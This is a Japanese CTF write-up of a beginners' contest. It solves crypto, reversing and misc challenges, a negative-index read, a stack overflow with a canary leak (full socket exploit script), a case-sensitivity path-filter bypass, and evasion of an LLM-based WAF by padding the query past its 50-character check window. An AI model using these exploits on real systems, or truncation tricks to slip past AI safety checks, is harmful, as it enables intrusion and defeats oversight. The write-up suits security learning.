はじめに
今年度CTF復帰して第二陣。24時間しか無いわりに半日バイトで飛んでたので、またどこかで24時間ぶっ通しでやりたい。
ソロ参加で725pt,118位。
解けたもの
Welcome
公式discordのAnnouncementチャンネルに。
CoughingFox2(Crypto)
暗号問題に初めて挑戦する方向けに独自暗号と暗号化した後の出力を配布します。 ご覧の通り、簡易な暗号方式なので解読は簡単です。 解読をお願いします!
flag = os.getenv("FLAG").encode()
cipher = []
for i in range(len(flag)-1):
c = ((flag[i] + flag[i+1]) ** 2 + i)
cipher.append(c)
random.shuffle(cipher)
flagを2文字ごとに取り出した上で2乗してiを足し、リストに追加していく、最後にそのリストをシャッフルして出力。というようなことをしている。
2乗した値に対してiは十分に小さいので、2乗した値とiは簡単に分離できる。分離したiをもとにソートすれば、[1文字目+2文字目,2文字目+3文字目...]というリストになる。ここから1文字目を総当たりしてそれっぽい文字列を探すとflagが見つかる。今考えると最初はcなのでそれで決め打ちすればよかった……
cipher = [4396, 22819, 47998, 47995, 40007, 9235, 21625, 25006, 4397, 51534, 46680, 44129, 38055, 18513, 24368, 38451, 46240, 20758, 37257, 40830, 25293, 38845, 22503, 44535, 22210, 39632, 38046, 43687, 48413, 47525, 23718, 51567, 23115, 42461, 26272, 28933, 23726, 48845, 21924, 46225, 20488, 27579, 21636]
result=[]
for i in cipher:
j=0
while (j+1)**2<=i:
j+=1
result.append((i-j**2,j))
result.sort(key=lambda x:x[0])
chrs=[i[1] for i in result]
for start in range(128):
flag=[start]
next=chrs[0]-start
flag.append(next)
for i in range(1,len(chrs)):
next=chrs[i]-next
flag.append(next)
try:
print(''.join([chr(start)+":"]+[chr(i) for i in flag]))
except:
pass
Conquer(crypto)
なんだか目が回りそうな問題ですね……
def ROL(bits, N):
for _ in range(N):
bits = ((bits << 1) & (2**length - 1)) | (bits >> (length - 1))
return bits
flag = bytes_to_long(flag)
length = flag.bit_length()
key = getrandbits(length)
cipher = flag ^ key
for i in range(32):
key = ROL(key, pow(cipher, 3, length))
cipher ^= key
print("key =", key)
print("cipher =", cipher)
ROL関数を見るとN回bitsを左にローテーションしている。(1つ左シフトして元の桁数でマスク、そして長さ―1ぶん右シフトして先頭のビットを一番後ろに、をN回)
そしてflagとkeyのXORを取ったうえそれをcipherとし、keyをローテーションさせながらcipherとkeyのXORを取っている。
XORは同じものをかければ戻せて、ROLの操作も右に同様の操作をすれば戻せる。つまり、そのまま逆の操作をすれば復元可能である。
ということでささっと逆の操作をするコードを書いたものの、うまく動かず……
適当な文字列を暗号化→復号は出来るのになぜか解答の暗号文だけ戻せない……
しばらく思い悩んだ結果lengthに問題があることが判明、復号する際にも、暗号化前のlengthでないといけないので、lengthを適当に当たるコードを書いて終わり。
from random import getrandbits
from Crypto.Util.number import *
from flag import flag
def ROL(bits, N):
for _ in range(N):
bits = ((bits << 1) & (2**length - 1)) | (bits >> (length - 1))
return bits
def ROL_REVERSE(bits,N):
N=N%length
for _ in range(length-N):
bits = ((bits << 1) & (2**length - 1)) | (bits >> (length - 1))
return bits
for i in range(-10,11):
key = 364765105385226228888267246885507128079813677318333502635464281930855331056070734926401965510936356014326979260977790597194503012948
cipher = 92499232109251162138344223189844914420326826743556872876639400853892198641955596900058352490329330224967987380962193017044830636379
length=cipher.bit_length()
length+=i
print("key =", key)
print("cipher =", cipher)
print("length =",length)
cipher ^= key
for j in range(32):
key = ROL_REVERSE(key, pow(cipher, 3, length))
cipher ^= key
try:
print(long_to_bytes(cipher).decode())
print(i)
except:
pass
poem(Pwnable)
ポエムを書きました!
#include <stdio.h>
#include <unistd.h>
char *flag = "ctf4b{***CENSORED***}";
char *poem[] = {
"In the depths of silence, the universe speaks.",
"Raindrops dance on windows, nature's lullaby.",
"Time weaves stories with the threads of existence.",
"Hearts entwined, two souls become one symphony.",
"A single candle's glow can conquer the darkest room.",
};
int main() {
int n;
printf("Number[0-4]: ");
scanf("%d", &n);
if (n < 5) {
printf("%s\n", poem[n]);
}
return 0;
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
}
入力を受け取ってそれに応じたポエムが出力されるプログラム。
gdbで変数のアドレスを見てみると、
(gdb) p &poem
$1 = (<data variable, no debug info> *) 0x4040 <poem>
(gdb) p &flag
$2 = (<data variable, no debug info> *) 0x4020 <flag>
ということでpoemからflagまでマイナス方向で32バイト離れていることが分かる。
ポインタ変数なので8バイトとして、-4つ分離れている。コードを見るとif文で、5以上の排除をしているものの、マイナス方向の排除をしていないので、-4を入れても通る(他の値を入れるとSegmentation faultとなる)。
rewriter2(pwnable)
#define BUF_SIZE 0x20
#define READ_SIZE 0x100
void __show_stack(void *stack);
int main() {
char buf[BUF_SIZE];
__show_stack(buf);
printf("What's your name? ");
read(0, buf, READ_SIZE);
printf("Hello, %s\n", buf);
__show_stack(buf);
printf("How old are you? ");
read(0, buf, READ_SIZE);
puts("Thank you!");
__show_stack(buf);
return 0;
}
void win() {
puts("Congratulations!");
system("/bin/sh");
}
実行してみるとこんな感じのものが出てくる。
[Addr] | [Value]
====================+===================
0x00007ffcb4054fb0 | 0x0000000000000002 <- buf
0x00007ffcb4054fb8 | 0x00007f2961631780
0x00007ffcb4054fc0 | 0x0000000000000000
0x00007ffcb4054fc8 | 0x00007f29614a5475
0x00007ffcb4054fd0 | 0x0000000000001000
0x00007ffcb4054fd8 | xxxxx hidden xxxxx <- canary
0x00007ffcb4054fe0 | 0x0000000000000001 <- saved rbp
0x00007ffcb4054fe8 | 0x00007f2961440d90 <- saved ret addr
0x00007ffcb4054ff0 | 0x00007f296162d600
0x00007ffcb4054ff8 | 0x00000000004011f6
似た問題をやったことがあるので何となくやりたいことが分かったが、canaryが出てきた。そもそもこの問題は、与えられた配列のサイズに対して受ける入力が大きく設定されており、スタックを書き換えてリターンアドレスをgdbとかで取ってきたwin関数(flag表示)のアドレスに書き換える問題である。だからと言ってcanaryを無視して適当に書き換えてしまうと攻撃を察知されて止まってしまうため、どうにかしてこれを維持したままリターンアドレスを書き換えなければならない。今回入力のチャンスは2回あるため、1回目をcanaryの中身を見ることに使う。
canaryの先頭はリークを防ぐためにヌル文字になっている。つまりここまで書き換えてやればcanaryの終端までヌル文字はないため、その後のprintfで入力した名前に加えてヌル文字まで勝手に出力する、という算段である。
ちなみにこんな感じになる。
What's your name? aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
�Vy�
今回はPythonのsocketで接続して値を受け取るのでここで読めないのは問題ない。
色々試してcanaryだけ埋めてリターンアドレスをを書き換えても上手くいかず、Congratsだけ出てSegmentationFaultになる。
今一度win関数の中を見てみると
0x00000000004012c2 <+0>: endbr64
0x00000000004012c6 <+4>: push %rbp
0x00000000004012c7 <+5>: mov %rsp,%rbp
0x00000000004012ca <+8>: lea 0xd72(%rip),%rdi # 0x402043
0x00000000004012d1 <+15>: call 0x4010a0 <puts@plt>
0x00000000004012d6 <+20>: lea 0xd77(%rip),%rdi # 0x402054
0x00000000004012dd <+27>: call 0x4010c0 <system@plt>
0x00000000004012e2 <+32>: nop
0x00000000004012e3 <+33>: pop %rbp
0x00000000004012e4 <+34>: ret
Win関数の先頭として飛ばしていた0x4212c2のendbr64が悪さ(実際には良いことなのだが)をしているらしい。
正直何やってるかよくわからないけど、不正なジャンプを監視してたりするらしい。
まあcongratsのprintfいらないので試しに0x4012d6に飛ばしたらヒット。
リトルエンディアンとかの書き方がバカなのは許してください
import socket
import time
# サーバーに接続
ip='rewriter2.beginners.seccon.games'
port=9001
sc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sc.connect((ip, port))
time.sleep(0.5)
recieve = sc.recv(1024)
print(recieve.decode("utf-8"))
inp2=b""
for i in recieve.split(b"\n")[3:8]:
s=i.split(b" ")[3][2:]
# リトルエンディアンに変換してinp2に追加
ss=s[14:16]+s[12:14]+s[10:12]+s[8:10]+s[6:8]+s[4:6]+s[2:4]+s[0:2]
print(ss.decode())
inp2+=bytes.fromhex(ss.decode())
# aで埋める
inp=b"\x41"*41
#print(inp.decode("utf-8"))
sc.sendall(inp)
time.sleep(1)
recieve = sc.recv(1024)
canary = b"\x00"+recieve.split(b"\n")[0][-7:]
inp2+=canary+b"\x00\x00\x00\x00\x00\x00\x00\x00"+b"\xd6\x12\x40\x00\x00\x00\x00\x00"
sc.sendall(inp2)
print(inp2)
time.sleep(1)
print(sc.recv(1024).decode("utf-8"))
time.sleep(1)
sc.sendall(b"cat flag.txt\n")
time.sleep(1)
print(sc.recv(1024))
Forbidden(Web)
You don't have permission to access /flag on this server.
あるページの/flagにアクセスしてフラグを得よう。ただしアクセスするとForbidden:(とだけ出てくる。
const block = (req, res, next) => {
if (req.path.includes('/flag')) {
return res.send(403, 'Forbidden :(');
}
next();
}
app.get("/flag", block, (req, res, next) => {
return res.send(FLAG);
})
block関数が機能している模様、ただし、javascriptのincludesが大文字小文字を厳密に取るのに対し、expressではデフォルトでは大文字小文字を区別しないので、/FLAG、/Flagなどで通過可能。
aiwaf(web)
AI-WAFを超えてゆけ!! ※AI-WAFは気分屋なのでハックできたりできなかったりします。
@app.route("/")
def top():
file = request.args.get("file")
if not file:
return top_page
if file in ["book0.txt", "book1.txt", "book2.txt"]:
with open(f"./books/{file}", encoding="utf-8") as f:
return f.read()
# AI-WAF
puuid = uuid.uuid4()
prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか?
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。
{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""
try:
response = openai.ChatCompletion.create(
model="gpt-3.5-turbo",
messages=[
{
"role": "user",
"content": prompt,
},
],
)
result = response.choices[0]["message"]["content"].strip()
except:
return abort(500, "OpenAI APIのエラーです。\n少し時間をおいてアクセスしてください。")
if "No" in result:
with open(f"./books/{file}", encoding="utf-8") as f:
return f.read().replace(KEY, "")
return abort(403, "AI-WAFに検知されました👻")
クエリパラメータで?file=flag
をしたいものの、クエリパラメータを渡してChatGPTに食わせてflagが含まれているかどうかなどを監視させており、少し面倒。意外に精度がよく真正面から破ろうとすると難しいので、クエリパラメータを50文字以上にして{urllib.parse.unquote(request.query_string)[:50]}
を利用して破ったはずなんだけど、今やるとできない。どうやってやったっけ……
Half(reversing)
バイナリエディタで覗くとそのままある
Three (reversing)
バイナリエディタで覗くと使用してそうな文字列の上にばらついたものがある。0x2020-0x2060,0x2080-0x20BF,0x20C0-20FFの3ブロックに分かれており、各ブロックの先頭から1文字ずつ読んでいくとフラグが取れる。
gdbとかで見るとflag0,flag1,flag2とか名前がついている。
shaXXX(misc)
(略)
from flag import flag
(略)
def check1(file_path: str):
program_root = os.getcwd()
dirty_path = get_full_path(file_path)
return dirty_path.startswith(program_root)
def check2(file_path: str):
if os.path.basename(file_path) == "flag.py":
return False
return True
if __name__ == "__main__":
initialization()
print(sys.version)
file_path = input("Input your salt file name(default=./flags/sha256.txt):")
if file_path == "":
file_path = "./flags/sha256.txt"
if not check1(file_path) or not check2(file_path):
print("No Hack!!! Your file path is not allowed.")
exit()
try:
with open(file_path, "rb") as f:
hash = f.read()
print(f"{hash=}")
except:
print("No Hack!!!")
flagの内容が隠されているflag.pyを読み出したいが、二つのcheck関数に阻まれている。
チェックの条件は二つ
- 開こうとしているファイルが"flag.py"であるか
- 開こうとしているファイルがカレントディレクトリ以下であるか
(dirty_pathが絶対パスに変換された入力で、それがカレントディレクトリのパスで始まるかを判定)
元々はflagをimportしてハッシュ化して出すようなプログラムであるが、わざわざimportするとキャッシュが生成される。
pythonを適当に使っていると__pycache__
というディレクトリが生成されているのを見たことがある人もいると思う。
あれは自作モジュール読み込み時にコンパイルされてできたキャッシュで、あると次回実行時早くなる、らしい。そんなに恩恵に預かったことはない。
基本的に実行したファイルと同じ階層に__pycache__
が生成されるので、実は以上の条件には引っかからない。
なので、
3.11.3 (main, May 10 2023, 12:26:31) [GCC 12.2.1 20220924]
Input your salt file name(default=./flags/sha256.txt):./__pycache__/flag.cpython-311.pyc
hash=b'\xa7\r\r\n\x00\x00\x00\x00>=wd<\x00\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf3\n\x00\x00\x00\x97\x00d\x00Z\x00d\x01S\x00)\x02s\x1b\x00\x00\x00ctf4b{c4ch3_15_0ur_fr13nd!}N)\x01\xda\x04flag\xa9\x00\xf3\x00\x00\x00\x00\xfa\x18/home/ctf/shaXXX/flag.py\xfa\x08<module>r\x06\x00\x00\x00\x01\x00\x00\x00s\x0e\x00\x00\x00\xf0\x03\x01\x01\x01\xe0\x07%\x80\x04\x80\x04\x80\x04r\x04\x00\x00\x00'
でフラグが読める。キャッシュの命名規則はモジュール名.バージョン.pyc
なので、最初に何故かバージョンが出てきた理由も納得。
解けなかったもの
switchable_cat(crypto)
問題内にある通り毎回スイッチが切り替わる線形帰還シフトレジスタがネコチャンによって荒らされた後に暗号化を行っているので、どうにかしてネコチャンが荒らしたものを再現するために式をおっ立ててわちゃわちゃしなきゃいけなさそうというところまで分かったが8時間フルで戦って疲弊した脳にはこれに取り掛かるエネルギーが無かった……
YARO(misc)
yaraというツールのルールを用いてフラグのファイルの中身を覗く問題?
機械的に何度もサーチをかけて文字列を復元しようと思ったが、検索にかける文字によってはタイムアウトするのでどうにか工夫しないと通らなそう。
polygot4b(misc)
fileコマンドの出力にどうにかしてPNG,JPEG,GIF,ASCIIを含ませなければならない問題。
さっぱりわからん。 なんかのファイルのバージョン情報に文字列を突っ込むといいらしい。
Forgot Some Exploit(pwnable)
これもrewriter2同様2回の入力でリターンアドレスを書き換える問題っぽいが、時間無いまま上手くいかず終了。
おわりに
チーム戦だと得意分野とか簡単な問題が消えて達成感が薄いけど、ソロチームだとそれはそれで寂しいしやることが多い。
結局今回も10時間くらいしか参加できてないから、そろそろちゃんとフルで参加してEasyをサクッと解いたうえで普通の問題をじゃんじゃか解けるようになりたい。